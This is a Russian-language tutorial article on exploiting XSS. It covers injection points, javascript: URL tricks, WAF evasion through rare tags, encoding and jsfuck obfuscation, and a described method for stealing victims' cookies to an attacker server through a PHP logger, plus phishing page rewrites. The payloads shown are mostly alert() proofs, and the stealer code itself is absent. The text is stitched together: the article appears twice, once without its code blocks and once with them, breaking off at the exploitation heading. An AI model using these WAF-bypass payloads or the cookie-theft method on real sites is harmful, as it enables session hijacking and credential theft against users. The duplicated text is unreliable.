Содержание статьи:
Всех приветствую! Сегодня, в рамках данной статьи хотелось бы рассказать об уязвимости XSS и о некоторых особенностях ее эксплуатации в наши дни. Дело в том, что большинство мануалов в сети содержат лишь основную и очень поверхностную информацию, которая была актуальна лет так 10 назад, а актуальную информацию приходится собирать по крупицам со всего интернета. Цель данной статьи – рассказать обо всех шагах эксплуатации и разобрать на примерах некоторые особенности реализации атаки на веб приложение. Материал будет полезен больше новичкам, но возможно и более опытные почерпнут для себя что-то новое.
Теория:
Итак, XSS – достаточно популярная уязвиомость в веб приложениях, которая позволяет атакующему внедрить свой js код на страницу. Отличительной особенностью этой уязвимости является то, что она используется не для атаки на сервер, а для атаки на клиентов приложения. При помощи внедренного кода, мы можем выполнять какие угодно действия с бразуером жертвы при помощи JS. И самое важное – все эти действия мы будем выполнять от имени довереного, с точки зрения жертвы, сайта. Мы можем украсть cookies, проводить СИ атаки, или, например, даже майнить крипту (профит от этого, конечно, не весть бог какой, но согласитесь, сама возможность интересная)
XSS бывает трех видов – отраженный(reflected), хранимый(stored) и DOM. На практике отличие этих видов в следующем: Отраженный XSS срабатывает в ответ на какие-либо действия пользователя – специально сформированый поисковый запрос, переход по ссылке и тд. У хранимого xss код уже хранится в БД сайта и для его активации жертве достаточно перейти на определенную страницу или попробовать обратится к определенной записи в бд (например к какому-либо комментарию в блоге, содержащему вредоносный код). Ну а DOM-xss - это подвид уязвимости, который по сути очень похож на отраженный, но разница в том, что при DOM-xss данные не попадают на сервер, а обрабатываются прямо на фронте (уязвимость прямо в клиентской части, например в каком-либо js-скрипте, обрабатывающем и выводящем информацию на фронте)
Обнаружение уязвимости:
Самый первый шаг – обнаружение уязвимости в приложении. Предположим, мы выбрали сайт, на котором хотим найти данную уязвимость. Есть несколько дефолтных возможных “точек входа”, на которые стоит обратить внимание. Из своего опыта могу сказать, что 95 процентов найденых мной уязвимостей такого типа находились именно в этих местах. Уязвимость XSS идет совсем рядом с HTML-injection. На первых порах, нашей задачей является просто внедрить свой код на страницу, минуя все методы защиты. Учтите, что если вы смогли вызвать простой alert, то и в последствие вызвать написаный вами код или какие-то другие функции будет уже гораздо проще.
Первое, на что стоит обратить внимание – абсолютно все поля ввода на сайте. Пользовательский ввод – всегда потенциальная дыра в безопасности. Наша задача в данном случае – найти поля, которые выводят введеную в них информацию после определенных действий обратно на страницу, например: поля поиска, смены имени, электронная почта, статус, личные сообщения, если на сайте присутствует такая возможность, и тд
Давайте для начала определимся что именно мы будем искать при помощи этих полей. Есть два основных момента, на которые следует обратить внимание при такой проверке. Первый – поиск в тегах. Тот самый стандартный прием, который описывается в любой начальной статье по XSS. Для примера возьмем первый уровень xss-ctf от гугла. (Если захотите пройти, то вам сюда)
У нас есть поле поиска, которое принимает пользовательский ввод:
После отправки запроса, мы видим примерно такой вывод:
Пользовательский ввод помещается в тег <b> . Но что если мы поместим искомое нами слово в еще один тэг, например <i> ?
Попробуем:
И как видим, текст стал курсивом, а тэг исчез. Это значит, что сервер не обработал введеные данные должным образом и вернувшийся текст считан браузером как часть кода. Если мы посмотрим DOM, то увидим, что тэг “i” теперь считается частью html кода страницы. Теперь, когда мы знаем что сервер пропускает тэги, мы можем просто взять и встроить заместо текста тэг script, примерно следующим образом:
После отправки запроса и получения ответа мы выдим что наш js код был выполнен:
Второй способ эксплуатации – попытка “вылезть” за пределы атрибута. В целом похожа на первое, но о ней часто забывают, либо просто не знают разработчики, из за чего на практике она встречается гораздо чаще. Суть в том, что некоторые теги имеют атрибуты, содержащие пользовательский ввод. Наглядный пример тег input из предыдущего способа, который имеет атрибут value, содержащий информацию, уже введеную в поле:
Таким образом мы можем атаковать не только тэги вывода, но и непосредственно тег ввода. Для этого попробуем встроить в пэйлоад двойную кавычку и добавим слово test:
Таким образом мы закрыли атрибут, и оказались внутри тега. Об этом свидетельствует второе слово тест, которое теперь браузер видит как атрибут:
Далее мы можем либо попробовать закрыть и тэг тоже и перейти к методу в первом случае, либо, что более предпочтительно, использовать другой атрибут, при помощи которого мы и выполним код. В html есть обработчики событий, которые в зависимости от ситуации могут выполнять разные js-функции из стандартных библиотек, либо из подключенных файлов. Например, обработчик событий onmouseover который выполняет код, когда на элемент на странице наводится курсор. Он просто добавляется в тег как атрибут: onmouseover=”alert(1);” Таким образом мы вызываем код не внедряя никаких новых элементов на страницу, а прямо внутри тега поиска:
При наведении мыши на поле поиска увидим результат:
Внедрение в URL
В некоторых случаях, JS-код можно вызвать прямо в URL. И речь тут не только о передаче каких-то get параметров, которые передаются с полей ввода на странице, например, а сразу о двух моментах:
Первый – передача в url определенных имен функций, которые могут использоваться разными элементами на странице. В случае замены этих функций, названия которых передаются прямо в GET-запросе, можно вызвать свой js-код. Такая, казалось бы глупая уязвимость пристуствовала даже на крупных ресурсах, например в твиттере. Поэтому, если видите в url что-то похожее на название функций, обязательно проверяйте: пробуйте заменить название функции и тд.
Второй – js в гиперссылках. Здесь все немного более интересно. Если мы встроим на страницу обычный тэг:
То при нажатии на ссылку будет выполнен js-код, который прописан в href:
То есть, если мы можем контролировать какую-то ссылку на странице, это потенциально может быть xss. Например, на большом количестве сайтов, при выдаче ошибок от сервера (кодов ответа, отличных от 200, например 404 или 500) происходит редирект на соответствующую html-страницу, которая оформлена в стиле сайта, сообщает что что-то пошло не так и имеет большую кнопку “вернутся назад” или “на главную”, чтобы обычный юзверь не запаниковал при виде непонятной надписи “500 Internal Server Error”, не подумал что он что-то там сломал и не покинул нахрен сайт
. Например, вот как здесь:
Обратите внимание на кнопку “вернутся назад”. Ка кправило в этом случае, в URL есть параметр redirect_url/back_url/from или что-то подобное. В этом параметре передается ссылка на страницу, с которой пришел пользователь, чтобы при нажатии кнопки “вернутся назад” его вернуло ровно на ту страницу, с которой он пришел. Если мы попробуем заменить url параметра на “javascript:alert();”, то в случае, если приложение уязвимо, при нажатии кнопки у пользователя выполнится этот js код.
Немного полезной инфы:
В некоторых случаях, при раскрутке таких кейсов может пригодится следующая информация:
1. Пробелы и табуляция не учитываются при написании такого пейлоада. То есть все три следующих метода будут работать:
где %20 – пробел, а %09 – знак табуляции в URL-кодировке. Это может помочь, в случае если неккоректно составлена регулярка, проверяющая URL (например проверяется начало ссылки на наличие слова “javascript”)
2. Гиперссылку js можно привести к обычному виду, типа “protocol://host:port/…”. Выглядеть это будет примерно так:
Это тоже может помочь обойти некоректно настроенную проверку, в случае если проверка линка сводится к проверке сопоставимости с образцом url.
Пара слов о защите:
Для более полного понимая, думаю, нужно обьяснить как работает защита от тех трех методов, описаных выше. С первыми двумя все просто – спец символы по типу ‘<’ и ‘ ” ‘ при санитизации (обработке ввода) преобразуются в html-entities эквиваленты. Если мы вобьем такие символы на защищеном сайте, после посмотрим в DOM (ПКМ по строке – edit as HTML) то увидим что символ “>” превратился в ">", но на странице он отобразился в нормально виде:
Это и есть html-entities, символы, которые мы видим как специальные, но при этом в коде выглядят по другому и не могут являтся частью кода страницы. То же самое происходит и с двойной кавычкой – она преобразуются в “"”
Третий же метод должен защищаться грамотно составленой регуляркой, которая проверяет не только протокол, но и непосредственно URL.
Краткий вывод по поиску: Всегда обращайте внимание на данные, которые передаются от клиента серверу, и всегда проверяйте какие из них возвращаются в ответе. Просматривайте DOM, проверяйте в каких местах структуры документа есть возвращенные от клиента данные. Как правило, таких мест на странице не одно и не два, возможно разработчик просто напросто забыл где-то преобразовать спец символы в html-entities.
Методы обхода WAF
Итак, мы разобрались как находить уязвимость. Казалось бы, теперь можно переходить к тому, чтобы написать свой код, встроить его и получать профит. Однако, все не так просто. Потому что есть такая штука как Web Application Firewall. Это файрвол для веб протокола, который анализирует пользовательские запросы, находит потенциально вредоносные и блокирует их. Хорошие файрволы умеют блокировать многие потенциально вредоносные пэйлоады для самых разных уязвимостей. Поэтому, найти уязвимость еще только пол дела. Ее еще нужно правильно проэксплутатировать. Потому как в большинстве случаев, если даже вы найдете дыру, при попытке внедрить стандартный <script>alert();<script> вы почти наверняка получите что-то такое:
Однако, как показывает практика, ничего в нашем мире не идеально, и правила файрволов не исключение
Из своего опыта могу сказать что почти все файрволы можно обойти, главное подобрать правильный пэйлоад. А для этого нужно взять стандартный пэйелоад и поработать с ним. Для примера возьмем опять же обычный alert и на его примере разберем некоторые приемы, которые могут помочь “спрятать” наш вредоносный код таким образом, чтобы файрвол пропустил его на сервер.
1. Использование малоизвестных и неожиданных тегов и атрибутов
Зачастую, правила файрвола, основаные на сигнатурном анализе, не пропускают популярные теги и атрибуты к ним. Например, даже средненький файрвол почти наверняка заблокирует пейлоад <img href=x onerror=alert();> или парный тэг <script>, если обнаружит его в запросе, потому как тэги достаточно известные и обработчик событий onerror тоже. Однако, есть большое кол-во тегов и атрибутов к ним, которые редко используются разработчиками, о них зачастую забывают, и это может здорово сыграть нам на руку. Рассмотрим пару таких примеров:
2. Энкодинг в разные форматы
Еще один способ спрятать пэйлоад – кодировка. Есть несколько основных основных способов закодировать пейлоад:
В итоге alert(‘XSS’); будет выглядеть вот так:
То после возвращения запроса с сервера браузер обработает закодированые в html символы, и на странице отобразится не зашифрованный текст, а обычное слово “example” (внимание на заголовок “showing results for ‘example’”)
Список альтернативных символов можно найти тут
! В некоторых случаях, может работать двойная кодировка в один из вышеописаных форматов, в случае, если после отправки запроса, на бэкенде формируется несколько запросов.
3. Обфускация:
Так же, для затруднения определения в запросах элементов вредоносного кода, можно путать код. Вот некоторые примеры:
Код без букв
А что если файрвол настроен таким образом, что блокирует названия всех популярных функций и методов ? Достаточно действенный способ блокировки запросов, однако и его можно обойти, обфусцировав код таким образом, что в нем не останется не единой буквы. По такому принципу работает обфускатор jsfuck. С его помощью код можно написать с помощью всеголишь 6 символов - “[]()!+”. Таким образом, обычный alert(1); превратится в :
Код конечно получается невьебенно длинным, но в некоторых ситуациях это может помочь. Само собой, прописывать все это дело вручную не придется, есть сайт, который сделает все за вас. Поиграться с обфускатором можно здесь
Разумеется это далеко не все примеры, однако суть в том чтобы дать понимание того, каким образом вообще нужно действовать, чтобы обойти правила веб-файрвола. Если кому интересно, с более полным списком вариантов обхода можно ознакомится здесь. Если же кому нужен список пэйлоадов для, например, автоматизации проверки правил или чего-то еще, вот в этом репозитории на гитхабе есть список пэйлоадов на 6к строк на все случаи жизни.
Эксплуатация:
Итак, мы нашли уязвимость, разобрались как обойти правила файрвола. Можно приступать непосредственно к атаке. Что мы вообще можем сделать с этой уязвимостью ? Давайте разбиратся.
Сразу оговорюсь что js программистом я не являюсь, с js знаком весьма поверхностно и говнокодить какие-то особо хитрые примеры тут не буду. Разберем два основных вектора атак со стандартным кодом. Если знаете какие-то хитрые кейсы с кодом на js или как сделать лучше приведенный мной код – милости прошу, описывайте ниже, будем развиваться вместе )
1. Кража cookies
Самый популярный способ использования XSS-ки - это кража cookies пользователей. Зачем это нужно, думаю обьяснять не стоит. Cookies – своего рода отпечаток и если у вас есть данные определенного пользователя, вы можете выдать себя за него, получив доступ к учетной записи и чувствительным данным. Это же касается и админских куков, при помощи которых можно получить доступ к админ панели и тд.
Как именно это сделать ? Давайте разбираться. Напишем небольшой фрагмент кода, который будет брать cookies каждого обратившегося браузера и высылать их нам на сервер
Для начала нам понадобится сервер, на который мы и будем писать логи. Я буду использовать старую добрую связку JS(непосредственно для атаки) и PHP(для приема и сохранения данных).
Работать это будет следующим образом. При активации нашего вредоносного кода, будет формироваться запрос на наш сервер, отправка всех нужных нам данных, а потом редирект на какую-либо страницу, дабы не вызывать подозрений.
Начнем с сервера. Создаем на сервере php файл index.php со следующим содержимым:
Разберем код:
Эта строчка добавляет заголовок с редиректом. Дело в том, что после эксплуатации уязвимости, пользователь будет отправлять запрос на наш сайт, а значит после отправки запроса он попадет именно на него. Нам это не нужно, поэтому редиректим его на какую-либо страницу в интернете. В моем случае, для примера, это гугл, но вы можете подставить туда например домен сайта, на котором нашли уязвимость, тогда пользователя просто перекинет обратно на сайт.
Эта строка формирует переменную result, в которую мы и будем записывать все данные. Для начала, так как желательно иметь возможность понимать что и когда мы будем записывать туда время, в которое жертва попалась. Время будет в формате “Число Месяц Год часы:минуты:секунды до\после полудня” Для удобства обернем дату в символы []. Далее записываем в переменную IP адресс жертвы, в php он хранится в переменной $_SERVER[‘REMOTE_ADDR’]. После этого формируем две переменные, которые будут передаваться на сервер через GET запрос. Это useragent жертвы и непосредственно cookie. Их мы будем получать уже при помощи внедренного js.
Создаем файл log.txt с полными правами доступа, в который непосредственно будем записывать все логи.
Записываем переменную result в лог-файл.
С серверной частью разобрались, теперь непосредственно пэйлоад. Для атаки нам нужно будет встроить в уязвимое веб-приложение следующий код:
Этот код формирует запрос на наш сервер (yoursite.com нужно заменить на адрес вашего сервера, куда вы закинули php файл) и отправляет туда useragent и cookie посредством GET запроса. После этого пользователя перекидывает к нам на сайт, тут же редиректит на сайт, который мы указали в header в php файле, а у нас на сервере появляется файл, примерно со следующим содержимым:
Теперь у нас есть айпишник жертвы, юзерагент и куки. Профит )
2. Подмена содержимого страницы (СИ-атаки)
Еще один вектор – это СИ атаки. Если у нас есть возможность встраивать свой код на страницу, мы можем изменить содержимое страницы фактически полностью. Например создать форму, которая будет запрашивать креды для доступа к странице. Так как сайт вполне довереный, подозрений у пользователя не возникнет, он введет данные, которые впоследствии благополучно уйдут к нам в открытом виде. Так же можно выманить пользователя на другой, подконтрольный нам сайт, да и в целом возможности этого вектора ограничиваются только вашей фантазией. Так как вектор достаточно ситуативный и в каждом кейсе уникален, думаю какие-либо примеры здесь приводить бессмысленно, каждый сам решает что конкретно он хочет сделать со страницей. Данный вектор больше относится к HTML-инъекции, но как мы помним XSS и HTML-inj идут рядом, поэтому вектор имеет место быть.
Немного дополнительной инфы по постэксплуатации:
Разумеется вручную прописывать весь код, для того, чтобы совершать определенные действия, как в первом примере, не обязательно. Есть инструменты, которые могут здорово упростить жизнь. Например для постэксплуатации существует такой фреймворк, как BeeF XSS framework. Он работает по достаточно простому приницпу. Фреймворк запускается на сервере, далее формируется ссылка на скрипт, которую необходимо подключить на целевом веб сайте. Фреймворк имеет удобный веб-интерфейс и обширные возможности, от вывода алерт в браузер пользователя, до снимков экрана, получения изображения с веб-камеры и кражи чувствительных данных. Если вы всерьез решите разобраться в теме, рекомендую ознакомится с фреймворком.
Для поиска же уязвимостей можно использовать множество инструментов. Самые популярные – это XSSstrike и BurpSuite. Первый хорош для поиска уязвимых мест, второй здорово помогает при раскрутке, ну и функция сканера в burp тоже есть, разумеется.
Все описаные выше инструменты входят в состав Kali linux, BlackArch и ParrotOS.
- Введение
- Теория
- Методы обнаружения уязвимости
- Пара слов о защите
- Методы обхода WAF
- Эксплуатация
Всех приветствую! Сегодня, в рамках данной статьи хотелось бы рассказать об уязвимости XSS и о некоторых особенностях ее эксплуатации в наши дни. Дело в том, что большинство мануалов в сети содержат лишь основную и очень поверхностную информацию, которая была актуальна лет так 10 назад, а актуальную информацию приходится собирать по крупицам со всего интернета. Цель данной статьи – рассказать обо всех шагах эксплуатации и разобрать на примерах некоторые особенности реализации атаки на веб приложение. Материал будет полезен больше новичкам, но возможно и более опытные почерпнут для себя что-то новое.
Теория:
Итак, XSS – достаточно популярная уязвиомость в веб приложениях, которая позволяет атакующему внедрить свой js код на страницу. Отличительной особенностью этой уязвимости является то, что она используется не для атаки на сервер, а для атаки на клиентов приложения. При помощи внедренного кода, мы можем выполнять какие угодно действия с бразуером жертвы при помощи JS. И самое важное – все эти действия мы будем выполнять от имени довереного, с точки зрения жертвы, сайта. Мы можем украсть cookies, проводить СИ атаки, или, например, даже майнить крипту (профит от этого, конечно, не весть бог какой, но согласитесь, сама возможность интересная)
XSS бывает трех видов – отраженный(reflected), хранимый(stored) и DOM. На практике отличие этих видов в следующем: Отраженный XSS срабатывает в ответ на какие-либо действия пользователя – специально сформированый поисковый запрос, переход по ссылке и тд. У хранимого xss код уже хранится в БД сайта и для его активации жертве достаточно перейти на определенную страницу или попробовать обратится к определенной записи в бд (например к какому-либо комментарию в блоге, содержащему вредоносный код). Ну а DOM-xss - это подвид уязвимости, который по сути очень похож на отраженный, но разница в том, что при DOM-xss данные не попадают на сервер, а обрабатываются прямо на фронте (уязвимость прямо в клиентской части, например в каком-либо js-скрипте, обрабатывающем и выводящем информацию на фронте)
Обнаружение уязвимости:
Самый первый шаг – обнаружение уязвимости в приложении. Предположим, мы выбрали сайт, на котором хотим найти данную уязвимость. Есть несколько дефолтных возможных “точек входа”, на которые стоит обратить внимание. Из своего опыта могу сказать, что 95 процентов найденых мной уязвимостей такого типа находились именно в этих местах. Уязвимость XSS идет совсем рядом с HTML-injection. На первых порах, нашей задачей является просто внедрить свой код на страницу, минуя все методы защиты. Учтите, что если вы смогли вызвать простой alert, то и в последствие вызвать написаный вами код или какие-то другие функции будет уже гораздо проще.
Первое, на что стоит обратить внимание – абсолютно все поля ввода на сайте. Пользовательский ввод – всегда потенциальная дыра в безопасности. Наша задача в данном случае – найти поля, которые выводят введеную в них информацию после определенных действий обратно на страницу, например: поля поиска, смены имени, электронная почта, статус, личные сообщения, если на сайте присутствует такая возможность, и тд
Давайте для начала определимся что именно мы будем искать при помощи этих полей. Есть два основных момента, на которые следует обратить внимание при такой проверке. Первый – поиск в тегах. Тот самый стандартный прием, который описывается в любой начальной статье по XSS. Для примера возьмем первый уровень xss-ctf от гугла. (Если захотите пройти, то вам сюда)
У нас есть поле поиска, которое принимает пользовательский ввод:
После отправки запроса, мы видим примерно такой вывод:
Пользовательский ввод помещается в тег <b> . Но что если мы поместим искомое нами слово в еще один тэг, например <i> ?
Попробуем:
И как видим, текст стал курсивом, а тэг исчез. Это значит, что сервер не обработал введеные данные должным образом и вернувшийся текст считан браузером как часть кода. Если мы посмотрим DOM, то увидим, что тэг “i” теперь считается частью html кода страницы. Теперь, когда мы знаем что сервер пропускает тэги, мы можем просто взять и встроить заместо текста тэг script, примерно следующим образом:
После отправки запроса и получения ответа мы выдим что наш js код был выполнен:
Второй способ эксплуатации – попытка “вылезть” за пределы атрибута. В целом похожа на первое, но о ней часто забывают, либо просто не знают разработчики, из за чего на практике она встречается гораздо чаще. Суть в том, что некоторые теги имеют атрибуты, содержащие пользовательский ввод. Наглядный пример тег input из предыдущего способа, который имеет атрибут value, содержащий информацию, уже введеную в поле:
Таким образом мы можем атаковать не только тэги вывода, но и непосредственно тег ввода. Для этого попробуем встроить в пэйлоад двойную кавычку и добавим слово test:
Таким образом мы закрыли атрибут, и оказались внутри тега. Об этом свидетельствует второе слово тест, которое теперь браузер видит как атрибут:
Далее мы можем либо попробовать закрыть и тэг тоже и перейти к методу в первом случае, либо, что более предпочтительно, использовать другой атрибут, при помощи которого мы и выполним код. В html есть обработчики событий, которые в зависимости от ситуации могут выполнять разные js-функции из стандартных библиотек, либо из подключенных файлов. Например, обработчик событий onmouseover который выполняет код, когда на элемент на странице наводится курсор. Он просто добавляется в тег как атрибут: onmouseover=”alert(1);” Таким образом мы вызываем код не внедряя никаких новых элементов на страницу, а прямо внутри тега поиска:
При наведении мыши на поле поиска увидим результат:
Внедрение в URL
В некоторых случаях, JS-код можно вызвать прямо в URL. И речь тут не только о передаче каких-то get параметров, которые передаются с полей ввода на странице, например, а сразу о двух моментах:
Первый – передача в url определенных имен функций, которые могут использоваться разными элементами на странице. В случае замены этих функций, названия которых передаются прямо в GET-запросе, можно вызвать свой js-код. Такая, казалось бы глупая уязвимость пристуствовала даже на крупных ресурсах, например в твиттере. Поэтому, если видите в url что-то похожее на название функций, обязательно проверяйте: пробуйте заменить название функции и тд.
Второй – js в гиперссылках. Здесь все немного более интересно. Если мы встроим на страницу обычный тэг:
<a href="javascript:alert(‘xss’);">click me !</a>То при нажатии на ссылку будет выполнен js-код, который прописан в href:
То есть, если мы можем контролировать какую-то ссылку на странице, это потенциально может быть xss. Например, на большом количестве сайтов, при выдаче ошибок от сервера (кодов ответа, отличных от 200, например 404 или 500) происходит редирект на соответствующую html-страницу, которая оформлена в стиле сайта, сообщает что что-то пошло не так и имеет большую кнопку “вернутся назад” или “на главную”, чтобы обычный юзверь не запаниковал при виде непонятной надписи “500 Internal Server Error”, не подумал что он что-то там сломал и не покинул нахрен сайт
Обратите внимание на кнопку “вернутся назад”. Ка кправило в этом случае, в URL есть параметр redirect_url/back_url/from или что-то подобное. В этом параметре передается ссылка на страницу, с которой пришел пользователь, чтобы при нажатии кнопки “вернутся назад” его вернуло ровно на ту страницу, с которой он пришел. Если мы попробуем заменить url параметра на “javascript:alert();”, то в случае, если приложение уязвимо, при нажатии кнопки у пользователя выполнится этот js код.
Немного полезной инфы:
В некоторых случаях, при раскрутке таких кейсов может пригодится следующая информация:
1. Пробелы и табуляция не учитываются при написании такого пейлоада. То есть все три следующих метода будут работать:
javascript:alert(); %20javascript:alert(); %09javascript:alert();где %20 – пробел, а %09 – знак табуляции в URL-кодировке. Это может помочь, в случае если неккоректно составлена регулярка, проверяющая URL (например проверяется начало ссылки на наличие слова “javascript”)
2. Гиперссылку js можно привести к обычному виду, типа “protocol://host:port/…”. Выглядеть это будет примерно так:
javascript://test.com/%0aalert(1);Это тоже может помочь обойти некоректно настроенную проверку, в случае если проверка линка сводится к проверке сопоставимости с образцом url.
Пара слов о защите:
Для более полного понимая, думаю, нужно обьяснить как работает защита от тех трех методов, описаных выше. С первыми двумя все просто – спец символы по типу ‘<’ и ‘ ” ‘ при санитизации (обработке ввода) преобразуются в html-entities эквиваленты. Если мы вобьем такие символы на защищеном сайте, после посмотрим в DOM (ПКМ по строке – edit as HTML) то увидим что символ “>” превратился в ">", но на странице он отобразился в нормально виде:
Это и есть html-entities, символы, которые мы видим как специальные, но при этом в коде выглядят по другому и не могут являтся частью кода страницы. То же самое происходит и с двойной кавычкой – она преобразуются в “"”
Третий же метод должен защищаться грамотно составленой регуляркой, которая проверяет не только протокол, но и непосредственно URL.
Краткий вывод по поиску: Всегда обращайте внимание на данные, которые передаются от клиента серверу, и всегда проверяйте какие из них возвращаются в ответе. Просматривайте DOM, проверяйте в каких местах структуры документа есть возвращенные от клиента данные. Как правило, таких мест на странице не одно и не два, возможно разработчик просто напросто забыл где-то преобразовать спец символы в html-entities.
Методы обхода WAF
Итак, мы разобрались как находить уязвимость. Казалось бы, теперь можно переходить к тому, чтобы написать свой код, встроить его и получать профит. Однако, все не так просто. Потому что есть такая штука как Web Application Firewall. Это файрвол для веб протокола, который анализирует пользовательские запросы, находит потенциально вредоносные и блокирует их. Хорошие файрволы умеют блокировать многие потенциально вредоносные пэйлоады для самых разных уязвимостей. Поэтому, найти уязвимость еще только пол дела. Ее еще нужно правильно проэксплутатировать. Потому как в большинстве случаев, если даже вы найдете дыру, при попытке внедрить стандартный <script>alert();<script> вы почти наверняка получите что-то такое:
Однако, как показывает практика, ничего в нашем мире не идеально, и правила файрволов не исключение
1. Использование малоизвестных и неожиданных тегов и атрибутов
Зачастую, правила файрвола, основаные на сигнатурном анализе, не пропускают популярные теги и атрибуты к ним. Например, даже средненький файрвол почти наверняка заблокирует пейлоад <img href=x onerror=alert();> или парный тэг <script>, если обнаружит его в запросе, потому как тэги достаточно известные и обработчик событий onerror тоже. Однако, есть большое кол-во тегов и атрибутов к ним, которые редко используются разработчиками, о них зачастую забывают, и это может здорово сыграть нам на руку. Рассмотрим пару таких примеров:
- marquee – бегущая строка. Один из моих любимых тэгов, который я лично почти всегда юазаю для проверки правил файрвола. Помимо того что сам тэг достаточно малоизвестный, в его состав входит несколько обработчиков событий, таких как onstart, onstop и тд, которые можно использовать для вызова js-кода.
- Iframe – сайт внутри сайта. Хоть тег и достаточно известный, в случае если удается его внедрить в дальнейшем есть несколько сопсобов его раскрутки, начиная от способа с xss через гиперссылку (src=’javascript:alert();’), и заканчивая обработчиками событий.
2. Энкодинг в разные форматы
Еще один способ спрятать пэйлоад – кодировка. Есть несколько основных основных способов закодировать пейлоад:
- URL
В итоге alert(‘XSS’); будет выглядеть вот так:
%61%6c%65%72%74%28%27%58%53%53%27%29%3a- HTML
alertТо после возвращения запроса с сервера браузер обработает закодированые в html символы, и на странице отобразится не зашифрованный текст, а обычное слово “example” (внимание на заголовок “showing results for ‘example’”)
- ASCII
- NFC
- NFD
- NFKC
- NFKD
Список альтернативных символов можно найти тут
! В некоторых случаях, может работать двойная кодировка в один из вышеописаных форматов, в случае, если после отправки запроса, на бэкенде формируется несколько запросов.
3. Обфускация:
Так же, для затруднения определения в запросах элементов вредоносного кода, можно путать код. Вот некоторые примеры:
- Скобки в функциях, принимающих в качестве аргумента строку, например alert(), можно заменить на смвол ``. Таким образом alert(1) превратится в alert`1`. Достаточно полезная фишка, часто может пригодится на практике.
- Часть кода можно переобозначить примерно следующим образом: a=alert,a(1)
Код без букв
А что если файрвол настроен таким образом, что блокирует названия всех популярных функций и методов ? Достаточно действенный способ блокировки запросов, однако и его можно обойти, обфусцировав код таким образом, что в нем не останется не единой буквы. По такому принципу работает обфускатор jsfuck. С его помощью код можно написать с помощью всеголишь 6 символов - “[]()!+”. Таким образом, обычный alert(1); превратится в :
Код:
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
Код конечно получается невьебенно длинным, но в некоторых ситуациях это может помочь. Само собой, прописывать все это дело вручную не придется, есть сайт, который сделает все за вас. Поиграться с обфускатором можно здесь
Разумеется это далеко не все примеры, однако суть в том чтобы дать понимание того, каким образом вообще нужно действовать, чтобы обойти правила веб-файрвола. Если кому интересно, с более полным списком вариантов обхода можно ознакомится здесь. Если же кому нужен список пэйлоадов для, например, автоматизации проверки правил или чего-то еще, вот в этом репозитории на гитхабе есть список пэйлоадов на 6к строк на все случаи жизни.
Эксплуатация:
Итак, мы нашли уязвимость, разобрались как обойти правила файрвола. Можно приступать непосредственно к атаке. Что мы вообще можем сделать с этой уязвимостью ? Давайте разбиратся.
